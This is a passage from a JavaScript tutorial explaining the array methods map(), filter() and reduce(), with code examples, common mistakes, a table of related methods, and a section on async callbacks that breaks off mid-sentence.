                (sum)           │\n│                                                                          │\n│  ────────────────────────────────────────────────────────────────────    │\n│                                                                          │\n│  INPUT COUNT          SAME COUNT        FEWER OR         SINGLE          │\n│  = 4 items            = 4 items         SAME = 2         OUTPUT          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Painting Station (map):** Every item gets transformed. You put in 4 items, you get 4 items out. Each one is changed in the same way.\n\n**Quality Control (filter):** Items are inspected and only those that pass the test continue. You might get fewer items out than you put in.\n\n**Packaging Station (reduce):** Everything gets combined into a single package. Many items go in, one result comes out.\n\nThe beauty of this assembly line? You can connect the stations in any order. The output of one becomes the input of the next.\n\n---\n\n## What Are These Methods?\n\nThese three methods are the workhorses of functional programming in JavaScript. They let you transform, filter, and aggregate data without writing explicit loops and without mutating your original data. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), `map`, `filter`, and `reduce` are among the most commonly used array methods, with the vast majority of JavaScript developers using them regularly in production code.\n\n| Method | What It Does | Returns | Original Array |\n|--------|-------------|---------|----------------|\n| `map()` | Transforms every element | New array (same length) | Unchanged |\n| `filter()` | Keeps elements that pass a test | New array (0 to same length) | Unchanged |\n| `reduce()` | Combines all elements into one value | Any type (number, object, array, etc.) | Unchanged |\n\n<Tip>\n**The Immutability Principle:** None of these methods change the original array. They always return something new. This makes your code predictable and easier to debug.\n</Tip>\n\n---\n\n## map() — Transform Every Element\n\nThe **[map()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)** method creates a new array by calling a function on every element of the original array. Think of it as a transformation machine: every item goes in, every item comes out changed.\n\n### What is map() in JavaScript?\n\nThe `map()` method is an array method that creates a new array by applying a callback function to each element of the original array. It returns an array of the same length with each element transformed according to the callback. The original array is never modified, making map a pure, non-mutating operation ideal for functional programming. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map), `map` was introduced in ECMAScript 5.1 (2011) and calls the provided function once for each element in order.\n\n```javascript\nconst numbers = [1, 2, 3, 4]\nconst doubled = numbers.map(num => num * 2)\n\nconsole.log(doubled)   // [2, 4, 6, 8]\nconsole.log(numbers)   // [1, 2, 3, 4] — original unchanged!\n```\n\n### Syntax and Parameters\n\n```javascript\narray.map(callback(element, index, array), thisArg)\n```\n\n| Parameter | Description |\n|-----------|-------------|\n| `element` | The current element being processed |\n| `index` | The index of the current element (optional) |\n| `array` | The array map() was called on (optional) |\n| `thisArg` | Value to use as `this` in callback (optional, rarely used) |\n\n### Basic Transformations\n\n```javascript\n// Double every number\nconst numbers = [1, 2, 3, 4, 5]\nconst doubled = numbers.map(n => n * 2)\nconsole.log(doubled)  // [2, 4, 6, 8, 10]\n\n// Convert to uppercase\nconst words = ['hello', 'world']\nconst shouting = words.map(word => word.toUpperCase())\nconsole.log(shouting)  // ['HELLO', 'WORLD']\n\n// Square each number\nconst squares = numbers.map(n => n * n)\nconsole.log(squares)  // [1, 4, 9, 16, 25]\n```\n\n### Extracting Properties from Objects\n\nOne of the most common uses of map is pulling out specific properties from an array of objects:\n\n```javascript\nconst users = [\n  { id: 1, name: 'Alice', email: 'alice@example.com' },\n  { id: 2, name: 'Bob', email: 'bob@example.com' },\n  { id: 3, name: 'Charlie', email: 'charlie@example.com' }\n]\n\n// Get just the names\nconst names = users.map(user => user.name)\nconsole.log(names)  // ['Alice', 'Bob', 'Charlie']\n\n// Get just the emails\nconst emails = users.map(user => user.email)\nconsole.log(emails)  // ['alice@example.com', 'bob@example.com', 'charlie@example.com']\n\n// Get IDs as strings\nconst ids = users.map(user => `user-${user.id}`)\nconsole.log(ids)  // ['user-1', 'user-2', 'user-3']\n```\n\n### Transforming Object Shapes\n\nYou can also reshape objects completely:\n\n```javascript\nconst users = [\n  { firstName: 'Alice', lastName: 'Smith', age: 25 },\n  { firstName: 'Bob', lastName: 'Jones', age: 30 }\n]\n\nconst displayUsers = users.map(user => ({\n  fullName: `${user.firstName} ${user.lastName}`,\n  isAdult: user.age >= 18\n}))\n\nconsole.log(displayUsers)\n// [\n//   { fullName: 'Alice Smith', isAdult: true },\n//   { fullName: 'Bob Jones', isAdult: true }\n// ]\n```\n\n### Using the Index Parameter\n\nSometimes you need to know the position of each element:\n\n```javascript\nconst letters = ['a', 'b', 'c', 'd']\n\n// Add index to each item\nconst indexed = letters.map((letter, index) => `${index}: ${letter}`)\nconsole.log(indexed)  // ['0: a', '1: b', '2: c', '3: d']\n\n// Create objects with IDs\nconst items = ['apple', 'banana', 'cherry']\nconst products = items.map((name, index) => ({\n  id: index + 1,\n  name\n}))\nconsole.log(products)\n// [{ id: 1, name: 'apple' }, { id: 2, name: 'banana' }, { id: 3, name: 'cherry' }]\n```\n\n### The parseInt Pitfall\n\nThis is a classic JavaScript gotcha. Can you spot the problem?\n\n```javascript\nconst strings = ['1', '2', '3']\nconst numbers = strings.map(parseInt)\n\nconsole.log(numbers)  // [1, NaN, NaN] — Wait, what?!\n```\n\n**Why does this happen?** Because `parseInt` takes two arguments: the string to parse and the radix (base). When you pass `parseInt` directly to map, it receives three arguments: `(element, index, array)`. So the index becomes the radix!\n\n```javascript\n// What's actually happening:\nparseInt('1', 0)  // 1 (radix 0 defaults to 10)\nparseInt('2', 1)  // NaN (radix 1 is invalid)\nparseInt('3', 2)  // NaN (3 is not a valid digit in binary)\n```\n\n**The fix:** Wrap parseInt in an arrow function or use `Number`:\n\n```javascript\n// Option 1: Wrap in arrow function\nconst numbers1 = strings.map(str => parseInt(str, 10))\nconsole.log(numbers1)  // [1, 2, 3]\n\n// Option 2: Use Number (simpler)\nconst numbers2 = strings.map(Number)\nconsole.log(numbers2)  // [1, 2, 3]\n```\n\n### map() vs forEach()\n\nBoth iterate over arrays, but they're for different purposes:\n\n| Aspect | map() | forEach() |\n|--------|-------|-----------|\n| **Returns** | New array | undefined |\n| **Purpose** | Transform data | Side effects (logging, etc.) |\n| **Chainable** | Yes | No |\n| **Use when** | You need the results | You just want to do something |\n\n```javascript\nconst numbers = [1, 2, 3]\n\n// map: When you need a new array\nconst doubled = numbers.map(n => n * 2)\nconsole.log(doubled)  // [2, 4, 6]\n\n// forEach: When you just want to do something with each item\nnumbers.forEach(n => console.log(n))  // Logs 1, 2, 3\n\n// ❌ WRONG: Using map for side effects (wasteful)\nnumbers.map(n => console.log(n))  // Creates unused array [undefined, undefined, undefined]\n\n// ✓ CORRECT: Use forEach for side effects\nnumbers.forEach(n => console.log(n))\n```\n\n<Warning>\n**Don't use map() when you don't need the returned array.** If you're just logging or making API calls, use `forEach()`. Using map for side effects creates an unused array and signals the wrong intent to other developers.\n</Warning>\n\n---\n\n## filter() — Keep Matching Elements\n\nThe **[filter()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)** method creates a new array with only the elements that pass a test. Your callback function returns `true` to keep an element or `false` to exclude it.\n\n### What is filter() in JavaScript?\n\nThe `filter()` method is an array method that creates a new array containing only the elements that pass a test implemented by a callback function. Elements where the callback returns `true` (or a truthy value) are included; elements where it returns `false` are excluded. Like map, filter never modifies the original array.\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5, 6]\nconst evens = numbers.filter(num => num % 2 === 0)\n\nconsole.log(evens)    // [2, 4, 6]\nconsole.log(numbers)  // [1, 2, 3, 4, 5, 6] — original unchanged!\n```\n\n### Syntax and Parameters\n\n```javascript\narray.filter(callback(element, index, array), thisArg)\n```\n\nThe callback receives the same parameters as `map()`: `element`, `index`, `array`, plus an optional `thisArg`.\n\n### Basic Filtering\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\n// Keep only even numbers\nconst evens = numbers.filter(n => n % 2 === 0)\nconsole.log(evens)  // [2, 4, 6, 8, 10]\n\n// Keep only odds\nconst odds = numbers.filter(n => n % 2 !== 0)\nconsole.log(odds)  // [1, 3, 5, 7, 9]\n\n// Keep numbers greater than 5\nconst big = numbers.filter(n => n > 5)\nconsole.log(big)  // [6, 7, 8, 9, 10]\n\n// Keep numbers between 3 and 7\nconst middle = numbers.filter(n => n >= 3 && n <= 7)\nconsole.log(middle)  // [3, 4, 5, 6, 7]\n```\n\n### Filtering Objects by Property\n\n```javascript\nconst users = [\n  { name: 'Alice', age: 25, active: true },\n  { name: 'Bob', age: 17, active: true },\n  { name: 'Charlie', age: 30, active: false },\n  { name: 'Diana', age: 22, active: true }\n]\n\n// Keep only active users\nconst activeUsers = users.filter(user => user.active)\nconsole.log(activeUsers)\n// [{ name: 'Alice', ... }, { name: 'Bob', ... }, { name: 'Diana', ... }]\n\n// Keep only adults (18+)\nconst adults = users.filter(user => user.age >= 18)\nconsole.log(adults)\n// [{ name: 'Alice', ... }, { name: 'Charlie', ... }, { name: 'Diana', ... }]\n\n// Keep only active adults\nconst activeAdults = users.filter(user => user.active && user.age >= 18)\nconsole.log(activeAdults)\n// [{ name: 'Alice', ... }, { name: 'Diana', ... }]\n```\n\n### Truthy/Falsy Evaluation\n\nThe filter callback's return value is evaluated for [truthiness](https://developer.mozilla.org/en-US/docs/Glossary/Truthy). This means you can use filter to remove falsy values:\n\n```javascript\nconst mixed = [0, 1, '', 'hello', null, undefined, false, true, NaN, 42]\n\n// Remove all falsy values\nconst truthy = mixed.filter(Boolean)\nconsole.log(truthy)  // [1, 'hello', true, 42]\n\n// This works because Boolean(value) returns true for truthy values\n// Boolean(0) → false\n// Boolean(1) → true\n// Boolean('') → false\n// Boolean('hello') → true\n// etc.\n```\n\n<Note>\n**Falsy values in JavaScript:** `false`, `0`, `-0`, `0n` (BigInt), `\"\"` (empty string), `null`, `undefined`, `NaN`. Everything else is truthy.\n</Note>\n\n### Search and Query Filtering\n\n```javascript\nconst products = [\n  { name: 'MacBook Pro', category: 'laptops', price: 2000 },\n  { name: 'iPhone', category: 'phones', price: 1000 },\n  { name: 'iPad', category: 'tablets', price: 800 },\n  { name: 'Dell XPS', category: 'laptops', price: 1500 }\n]\n\n// Search by name (case-insensitive)\nconst searchTerm = 'mac'\nconst results = products.filter(p => \n  p.name.toLowerCase().includes(searchTerm.toLowerCase())\n)\nconsole.log(results)  // [{ name: 'MacBook Pro', ... }]\n\n// Filter by category\nconst laptops = products.filter(p => p.category === 'laptops')\nconsole.log(laptops)  // [{ name: 'MacBook Pro', ... }, { name: 'Dell XPS', ... }]\n\n// Filter by price range\nconst affordable = products.filter(p => p.price <= 1000)\nconsole.log(affordable)  // [{ name: 'iPhone', ... }, { name: 'iPad', ... }]\n```\n\n### filter() vs find() vs some() vs every()\n\nThese methods are related but return different things:\n\n| Method | Returns | Stops Early? | Use Case |\n|--------|---------|--------------|----------|\n| `filter()` | Array of all matches | No | Get all matching items |\n| `find()` | First match (or undefined) | Yes | Get one item by condition |\n| `some()` | true/false | Yes | Check if any match |\n| `every()` | true/false | Yes | Check if all match |\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\n\n// filter: Get ALL even numbers\nnumbers.filter(n => n % 2 === 0)    // [2, 4]\n\n// find: Get the FIRST even number\nnumbers.find(n => n % 2 === 0)      // 2\n\n// some: Is there ANY even number?\nnumbers.some(n => n % 2 === 0)      // true\n\n// every: Are ALL numbers even?\nnumbers.every(n => n % 2 === 0)     // false\n```\n\n```javascript\nconst users = [\n  { id: 1, name: 'Alice', admin: true },\n  { id: 2, name: 'Bob', admin: false },\n  { id: 3, name: 'Charlie', admin: false }\n]\n\n// ❌ INEFFICIENT: Using filter when you only need one\nconst result = users.filter(u => u.id === 2)[0]  // Checks all elements\n\n// ✓ EFFICIENT: Use find for single item lookup\nconst user = users.find(u => u.id === 2)  // Stops at first match\n\n// ❌ WASTEFUL: Using filter just to check existence\nconst hasAdmin = users.filter(u => u.admin).length > 0\n\n// ✓ BETTER: Use some for existence check\nconst hasAdmin2 = users.some(u => u.admin)  // true, stops at first admin\n```\n\n---\n\n## reduce() — Combine Into One Value\n\nThe **[reduce()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)** method executes a \"reducer\" function on each element, resulting in a single output value. It's the most powerful (and most confusing) of the three.\n\n### What is reduce() in JavaScript?\n\nThe `reduce()` method is an array method that executes a reducer callback function on each element, accumulating the results into a single value. This value can be any type: a number, string, object, or even another array. The callback receives an accumulator (the running total) and the current element, returning the new accumulator value. Always provide an initial value to avoid crashes on empty arrays. The [ECMAScript specification](https://tc39.es/ecma262/#sec-array.prototype.reduce) notes that calling `reduce()` on an empty array without an initial value throws a `TypeError`.\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\nconst sum = numbers.reduce((accumulator, current) => accumulator + current, 0)\n\nconsole.log(sum)  // 15\n```\n\nThink of reduce like a snowball rolling down a hill. It starts small (the initial value) and grows as it picks up each element.\n\n### The Anatomy of reduce()\n\n```javascript\narray.reduce(callback(accumulator, currentValue, index, array), initialValue)\n```\n\n| Parameter | Description |\n|-----------|-------------|\n| `accumulator` | The accumulated value from previous iterations |\n| `currentValue` | The current element being processed |\n| `index` | The index of the current element (optional) |\n| `array` | The array reduce() was called on (optional) |\n| `initialValue` | The starting value for the accumulator (ALWAYS provide this!) |\n\n### Step-by-Step Visualization\n\nLet's trace through how reduce works:\n\n```javascript\nconst numbers = [1, 2, 3, 4]\nconst sum = numbers.reduce((acc, curr) => acc + curr, 0)\n```\n\n| Iteration | accumulator | currentValue | acc + curr | New accumulator |\n|-----------|-------------|--------------|------------|-----------------|\n| 1st | 0 (initial) | 1 | 0 + 1 | 1 |\n| 2nd | 1 | 2 | 1 + 2 | 3 |\n| 3rd | 3 | 3 | 3 + 3 | 6 |\n| 4th | 6 | 4 | 6 + 4 | **10** |\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         reduce() STEP BY STEP                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Initial value: 0                                                        │\n│                                                                          │\n│  [1, 2, 3, 4].reduce((acc, curr) => acc + curr, 0)                       │\n│                                                                          │\n│  Step 1:  acc=0, curr=1  →  0 + 1 = 1   (accumulator becomes 1)          │\n│  Step 2:  acc=1, curr=2  →  1 + 2 = 3   (accumulator becomes 3)          │\n│  Step 3:  acc=3, curr=3  →  3 + 3 = 6   (accumulator becomes 6)          │\n│  Step 4:  acc=6, curr=4  →  6 + 4 = 10  (final result!)                  │\n│                                                                          │\n│  Result: 10                                                              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Common Use Cases\n\n#### Sum and Average\n\n```javascript\nconst numbers = [10, 20, 30, 40, 50]\n\n// Sum\nconst sum = numbers.reduce((acc, n) => acc + n, 0)\nconsole.log(sum)  // 150\n\n// Average\nconst average = numbers.reduce((acc, n) => acc + n, 0) / numbers.length\nconsole.log(average)  // 30\n```\n\n#### Finding Max/Min\n\n```javascript\nconst numbers = [5, 2, 9, 1, 7]\n\nconst max = numbers.reduce((acc, n) => n > acc ? n : acc, numbers[0])\nconsole.log(max)  // 9\n\nconst min = numbers.reduce((acc, n) => n < acc ? n : acc, numbers[0])\nconsole.log(min)  // 1\n\n// Or use Math.max/min with spread (simpler for this case)\nconsole.log(Math.max(...numbers))  // 9\nconsole.log(Math.min(...numbers))  // 1\n```\n\n#### Counting Occurrences\n\n```javascript\nconst fruits = ['apple', 'banana', 'apple', 'orange', 'banana', 'apple']\n\nconst count = fruits.reduce((acc, fruit) => {\n  acc[fruit] = (acc[fruit] || 0) + 1\n  return acc\n}, {})\n\nconsole.log(count)  // { apple: 3, banana: 2, orange: 1 }\n```\n\n#### Grouping by Property\n\n```javascript\nconst people = [\n  { name: 'Alice', department: 'Engineering' },\n  { name: 'Bob', department: 'Marketing' },\n  { name: 'Charlie', department: 'Engineering' },\n  { name: 'Diana', department: 'Marketing' }\n]\n\nconst byDepartment = people.reduce((acc, person) => {\n  const dept = person.department\n  if (!acc[dept]) {\n    acc[dept] = []\n  }\n  acc[dept].push(person)\n  return acc\n}, {})\n\nconsole.log(byDepartment)\n// {\n//   Engineering: [{ name: 'Alice', ... }, { name: 'Charlie', ... }],\n//   Marketing: [{ name: 'Bob', ... }, { name: 'Diana', ... }]\n// }\n```\n\n<Note>\n**Modern Alternative (ES2024):** JavaScript now has `Object.groupBy()` which does this in one line:\n\n```javascript\nconst byDepartment = Object.groupBy(people, person => person.department)\n```\n\nThis is cleaner for simple grouping, but reduce is still useful when you need custom accumulation logic. Note: `Object.groupBy()` requires Node.js 21+ or modern browsers (Chrome 117+, Firefox 119+, Safari 17.4+).\n</Note>\n\n#### Building Objects from Arrays\n\n```javascript\nconst pairs = [['name', 'Alice'], ['age', 25], ['city', 'NYC']]\n\nconst obj = pairs.reduce((acc, [key, value]) => {\n  acc[key] = value\n  return acc\n}, {})\n\nconsole.log(obj)  // { name: 'Alice', age: 25, city: 'NYC' }\n```\n\n#### Flattening Nested Arrays\n\n```javascript\nconst nested = [[1, 2], [3, 4], [5, 6]]\n\nconst flat = nested.reduce((acc, arr) => acc.concat(arr), [])\nconsole.log(flat)  // [1, 2, 3, 4, 5, 6]\n\n// Note: For simple flattening, use .flat() instead\nconsole.log(nested.flat())  // [1, 2, 3, 4, 5, 6]\n```\n\n### Implementing map() and filter() with reduce()\n\nThis shows just how powerful reduce is. You can implement both map and filter using reduce:\n\n```javascript\n// map() implemented with reduce\nfunction myMap(array, callback) {\n  return array.reduce((acc, element, index) => {\n    acc.push(callback(element, index, array))\n    return acc\n  }, [])\n}\n\nconst doubled = myMap([1, 2, 3], n => n * 2)\nconsole.log(doubled)  // [2, 4, 6]\n\n\n// filter() implemented with reduce\nfunction myFilter(array, callback) {\n  return array.reduce((acc, element, index) => {\n    if (callback(element, index, array)) {\n      acc.push(element)\n    }\n    return acc\n  }, [])\n}\n\nconst evens = myFilter([1, 2, 3, 4, 5], n => n % 2 === 0)\nconsole.log(evens)  // [2, 4]\n```\n\n<Tip>\n**When to use reduce:** Use reduce when you need to transform an array into a different type (array to object, array to number, etc.) or when you need complex accumulation logic. For simple transformations, map and filter are usually clearer.\n</Tip>\n\n---\n\n## Method Chaining — The Real Power\n\nThe real magic happens when you chain these methods together. Each method returns a new array (or value), which you can immediately call another method on.\n\n```javascript\nconst transactions = [\n  { type: 'sale', amount: 100 },\n  { type: 'refund', amount: 30 },\n  { type: 'sale', amount: 200 },\n  { type: 'sale', amount: 150 },\n  { type: 'refund', amount: 50 }\n]\n\nconst totalSales = transactions\n  .filter(t => t.type === 'sale')           // Keep only sales\n  .map(t => t.amount)                        // Extract amounts\n  .reduce((sum, amount) => sum + amount, 0)  // Sum them up\n\nconsole.log(totalSales)  // 450\n```\n\n### Reading Chained Methods\n\nWhen you see a chain, read it like a data pipeline. Data flows from top to bottom, transformed at each step:\n\n```javascript\nconst result = data\n  .filter(...)   // Step 1: Remove unwanted items\n  .map(...)      // Step 2: Transform remaining items\n  .filter(...)   // Step 3: Filter again if needed\n  .reduce(...)   // Step 4: Combine into final result\n```\n\n### Real-World Examples\n\n#### E-commerce: Calculate discounted total\n\n```javascript\nconst cart = [\n  { name: 'Laptop', price: 1000, quantity: 1, discountPercent: 10 },\n  { name: 'Mouse', price: 50, quantity: 2, discountPercent: 0 },\n  { name: 'Keyboard', price: 100, quantity: 1, discountPercent: 20 }\n]\n\nconst total = cart\n  .map(item => {\n    const subtotal = item.price * item.quantity\n    const discount = subtotal * (item.discountPercent / 100)\n    return subtotal - discount\n  })\n  .reduce((sum, price) => sum + price, 0)\n\nconsole.log(total)  // 900 + 100 + 80 = 1080\n```\n\n#### User dashboard: Get active premium users' emails\n\n```javascript\nconst users = [\n  { email: 'alice@example.com', active: true, plan: 'premium' },\n  { email: 'bob@example.com', active: false, plan: 'premium' },\n  { email: 'charlie@example.com', active: true, plan: 'free' },\n  { email: 'diana@example.com', active: true, plan: 'premium' }\n]\n\nconst premiumEmails = users\n  .filter(u => u.active)\n  .filter(u => u.plan === 'premium')\n  .map(u => u.email)\n\nconsole.log(premiumEmails)  // ['alice@example.com', 'diana@example.com']\n```\n\n#### Analytics: Top 3 performers\n\n```javascript\nconst salespeople = [\n  { name: 'Alice', sales: 50000 },\n  { name: 'Bob', sales: 75000 },\n  { name: 'Charlie', sales: 45000 },\n  { name: 'Diana', sales: 90000 },\n  { name: 'Eve', sales: 60000 }\n]\n\nconst top3 = salespeople\n  .filter(p => p.sales >= 50000)    // Minimum threshold\n  .sort((a, b) => b.sales - a.sales) // Sort descending\n  .slice(0, 3)                       // Take top 3\n  .map(p => p.name)                  // Get just names\n\nconsole.log(top3)  // ['Diana', 'Bob', 'Eve']\n```\n\n### Performance Considerations\n\nEach method in a chain iterates over the array. For small arrays, this doesn't matter. For large arrays, consider combining operations:\n\n```javascript\nconst hugeArray = Array.from({ length: 100000 }, (_, i) => i)\n\n// ❌ SLOW: Three separate iterations\nconst result1 = hugeArray\n  .filter(n => n % 2 === 0)  // Iteration 1\n  .map(n => n * 2)           // Iteration 2\n  .filter(n => n > 1000)     // Iteration 3\n\n// ✓ FASTER: Single iteration with reduce\nconst result2 = hugeArray.reduce((acc, n) => {\n  if (n % 2 === 0) {\n    const doubled = n * 2\n    if (doubled > 1000) {\n      acc.push(doubled)\n    }\n  }\n  return acc\n}, [])\n```\n\n<Tip>\n**Performance Rule of Thumb:** For arrays under 10,000 items, prioritize readability. For larger arrays or performance-critical code, consider combining operations into a single reduce.\n</Tip>\n\n---\n\n## The #1 Mistake: Forgetting reduce()'s Initial Value\n\nThis is the most common mistake developers make with reduce, and it can crash your application:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE INITIAL VALUE PROBLEM                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  ❌ WITHOUT INITIAL VALUE          ✓ WITH INITIAL VALUE                  │\n│  ─────────────────────────         ────────────────────                  │\n│                                                                          │\n│  [1, 2, 3].reduce((a,b) => a+b)    [1, 2, 3].reduce((a,b) => a+b, 0)     │\n│  → Works: 6                        → Works: 6                            │\n│                                                                          │\n│  [].reduce((a,b) => a+b)           [].reduce((a,b) => a+b, 0)            │\n│  → TypeError! CRASH                → Works: 0                            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Empty Array Without Initial Value = CRASH\n\n```javascript\n// ❌ DANGEROUS: No initial value\nconst numbers = []\nconst sum = numbers.reduce((acc, n) => acc + n)\n// TypeError: Reduce of empty array with no initial value\n\n// ✓ SAFE: Always provide initial value\nconst safeSum = numbers.reduce((acc, n) => acc + n, 0)\nconsole.log(safeSum)  // 0\n```\n\n### Type Mismatch Without Initial Value\n\n```javascript\nconst products = [\n  { name: 'Laptop', price: 1000 },\n  { name: 'Phone', price: 500 }\n]\n\n// ❌ WRONG: First accumulator will be the first object, not a number!\nconst total = products.reduce((acc, p) => acc + p.price)\nconsole.log(total)  // \"[object Object]500\" — Oops!\n\n// ✓ CORRECT: Initial value sets the accumulator type\nconst total2 = products.reduce((acc, p) => acc + p.price, 0)\nconsole.log(total2)  // 1500\n```\n\n<Warning>\n**The Rule:** Always provide an initial value to reduce(). It prevents crashes on empty arrays and makes your code's intent clear.\n</Warning>\n\n---\n\n## Common Mistakes\n\n### map() Mistakes\n\n#### Forgetting to Return\n\n```javascript\nconst numbers = [1, 2, 3]\n\n// ❌ WRONG: No return statement\nconst doubled = numbers.map(n => {\n  n * 2  // Missing return!\n})\nconsole.log(doubled)  // [undefined, undefined, undefined]\n\n// ✓ CORRECT: Explicit return\nconst doubled2 = numbers.map(n => {\n  return n * 2\n})\nconsole.log(doubled2)  // [2, 4, 6]\n\n// ✓ CORRECT: Implicit return (no curly braces)\nconst doubled3 = numbers.map(n => n * 2)\nconsole.log(doubled3)  // [2, 4, 6]\n```\n\n#### Mutating Original Objects\n\n```javascript\nconst users = [\n  { name: 'Alice', score: 85 },\n  { name: 'Bob', score: 92 }\n]\n\n// ❌ WRONG: Mutates the original objects\nconst curved = users.map(user => {\n  user.score += 5  // Mutates original!\n  return user\n})\n\nconsole.log(users[0].score)  // 90 — Original was changed!\n\n// ✓ CORRECT: Create new objects\nconst users2 = [\n  { name: 'Alice', score: 85 },\n  { name: 'Bob', score: 92 }\n]\n\nconst curved2 = users2.map(user => ({\n  ...user,\n  score: user.score + 5\n}))\n\nconsole.log(users2[0].score)  // 85 — Original unchanged\nconsole.log(curved2[0].score) // 90\n```\n\n### filter() Mistakes\n\n#### Using filter When find is Better\n\n```javascript\nconst users = [\n  { id: 1, name: 'Alice' },\n  { id: 2, name: 'Bob' },\n  { id: 3, name: 'Charlie' }\n]\n\n// ❌ INEFFICIENT: Checks entire array, returns array, needs [0]\nconst user = users.filter(u => u.id === 2)[0]\n\n// ✓ EFFICIENT: Stops at first match, returns the item directly\nconst user2 = users.find(u => u.id === 2)\n```\n\n### reduce() Mistakes\n\n#### Not Returning the Accumulator\n\n```javascript\nconst numbers = [1, 2, 3, 4]\n\n// ❌ WRONG: Forgetting to return accumulator\nconst sum = numbers.reduce((acc, n) => {\n  acc + n  // Missing return!\n}, 0)\nconsole.log(sum)  // undefined\n\n// ✓ CORRECT: Always return the accumulator\nconst sum2 = numbers.reduce((acc, n) => {\n  return acc + n\n}, 0)\nconsole.log(sum2)  // 10\n```\n\n#### Making reduce Too Complex\n\n```javascript\nconst users = [\n  { name: 'Alice', active: true },\n  { name: 'Bob', active: false },\n  { name: 'Charlie', active: true }\n]\n\n// ❌ HARD TO READ: Everything crammed into reduce\nconst result = users.reduce((acc, user) => {\n  if (user.active) {\n    acc.push(user.name.toUpperCase())\n  }\n  return acc\n}, [])\n\n// ✓ CLEARER: Use filter + map\nconst result2 = users\n  .filter(u => u.active)\n  .map(u => u.name.toUpperCase())\n\nconsole.log(result2)  // ['ALICE', 'CHARLIE']\n```\n\n---\n\n## Other Useful Array Methods\n\nJavaScript has many more array methods beyond map, filter, and reduce. Here's a quick reference:\n\n| Method | Returns | Description |\n|--------|---------|-------------|\n| `find(fn)` | Element or undefined | First element that passes test |\n| `findIndex(fn)` | Number | Index of first match (-1 if none) |\n| `some(fn)` | Boolean | True if any element passes test |\n| `every(fn)` | Boolean | True if all elements pass test |\n| `includes(value)` | Boolean | True if value is in array |\n| `indexOf(value)` | Number | Index of value (-1 if not found) |\n| `flat(depth)` | Array | Flattens nested arrays |\n| `flatMap(fn)` | Array | map() then flat(1) |\n| `forEach(fn)` | undefined | Executes function for side effects |\n| `reduceRight(fn, init)` | Any | Like reduce(), but right-to-left |\n| `sort(fn)` | Array | Sorts in place (mutates!) |\n| `toSorted(fn)` | Array | Returns sorted copy (no mutation) — ES2023 |\n| `reverse()` | Array | Reverses in place (mutates!) |\n| `toReversed()` | Array | Returns reversed copy (no mutation) — ES2023 |\n| `slice(start, end)` | Array | Returns portion (no mutation) |\n| `splice(start, count)` | Array | Removes/adds elements (mutates!) |\n| `toSpliced(start, count)` | Array | Returns modified copy (no mutation) — ES2023 |\n\n### Quick Examples\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\n\n// find: Get first even number\nnumbers.find(n => n % 2 === 0)  // 2\n\n// findIndex: Get index of first even\nnumbers.findIndex(n => n % 2 === 0)  // 1\n\n// some: Is there any number > 4?\nnumbers.some(n => n > 4)  // true\n\n// every: Are all numbers positive?\nnumbers.every(n => n > 0)  // true\n\n// includes: Is 3 in the array?\nnumbers.includes(3)  // true\n\n// flat: Flatten nested arrays\n[[1, 2], [3, 4]].flat()  // [1, 2, 3, 4]\n\n// flatMap: Map and flatten\n[1, 2].flatMap(n => [n, n * 2])  // [1, 2, 2, 4]\n\n// reduceRight: Reduce from right to left\n['a', 'b', 'c'].reduceRight((acc, s) => acc + s, '')  // 'cba'\n\n// toSorted: Non-mutating sort (ES2023)\nconst nums = [3, 1, 2]\nconst sorted = nums.toSorted()  // [1, 2, 3]\nconsole.log(nums)  // [3, 1, 2] — original unchanged!\n\n// toReversed: Non-mutating reverse (ES2023)\nconst reversed = nums.toReversed()  // [2, 1, 3]\n```\n\n### Which Method Should I Use?\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    CHOOSING THE RIGHT METHOD                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WHAT DO YOU NEED?                    USE THIS                           │\n│  ─────────────────                    ────────                           │\n│                                                                          │\n│  Transform every element          →   map()                              │\n│  Keep some elements               →   filter()                           │\n│  Combine into single value        →   reduce()                           │\n│  Find first matching element      →   find()                             │\n│  Check if any element matches     →   some()                             │\n│  Check if all elements match      →   every()                            │\n│  Check if value exists            →   includes()                         │\n│  Get index of element             →   findIndex() or indexOf()           │\n│  Just do something with each      →   forEach()                          │\n│  Flatten nested arrays            →   flat() or flatMap()                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Async Callbacks: The Hidden Gotcha\n\nOne thing that catches developers off guard: `map()`, `filter()`, and `reduce()` don't wait for async callbacks. They run synchronously, which means you'll get an array of Promises instead of resolved values.\n\n```javascript\nconst userIds = [1, 2, 3]\n\n// ❌ WRONG: Returns array of Promises, not users\nconst users = userIds.map(async (id) => {\n  const response = await fetch(`/api/users/${id}`)\n  return response.json()\n})\n\nconsole.log(users)  // [Promise, Promise, Promise]\n```\n\n### The Solution: Promise.all()\n\nWrap the map result in `Promise.all()` to wait for all Promises to resolve:\n\n```javascript\nconst userIds = [1, 2, 3]\n\n// ✓ CORRECT: Wait for all Promises to resolve\nconst users = await Promise.all(\n  userIds.map(async (id) => {\n    const response = await fetch(`/api/users/${id}`)\n    return response.json()\n  })\n)\n\nconsole.log(users)  // [{...}, {...}, {...}] — actual user objects\n```\n\n### Async Filter is Trickier\n\nFor filter, you need a two-step approach since filter expects a boolean, not a Promise:\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\n\n// Check if a 